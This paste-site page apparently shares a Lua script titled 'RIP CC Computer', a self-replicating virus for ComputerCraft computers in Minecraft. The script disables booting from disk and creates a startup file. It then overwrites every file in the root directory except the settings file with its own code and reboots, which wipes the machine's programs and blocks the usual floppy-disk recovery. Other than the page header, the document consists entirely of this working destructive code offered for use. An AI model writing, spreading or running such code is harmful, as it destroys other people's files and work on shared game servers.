asteroidsteam icon

RIP CC Computer

asteroidsteam | PRO | 10/31/17 04:27:42 AM UTC | 0 ⭐ | 437 👁️ | Never ⏰ | []
Lua |

570 B

|

None

|

0 👍

/

0 👎

settings.set("shell.allow_disk_startup", false)
settings.save(".settings")
if fs.exists("startup") == false then
  local start = fs.open("startup", "w")
  start.write(" ")
  start.close()
end
local files = fs.list("/")
for i=1,#files do
if (files[i] == ".settings") then
 
else
if (fs.isDir("/"..files[i]) == false) then
  local virusread = fs.open(shell.getRunningProgram(), "r")
  local viruscode = virusread.readAll()
  virusread.close()
  local startup = fs.open("/"..files[i], "w")
  startup.write(viruscode)
  startup.close()
else
end
end
end
os.reboot()

Comments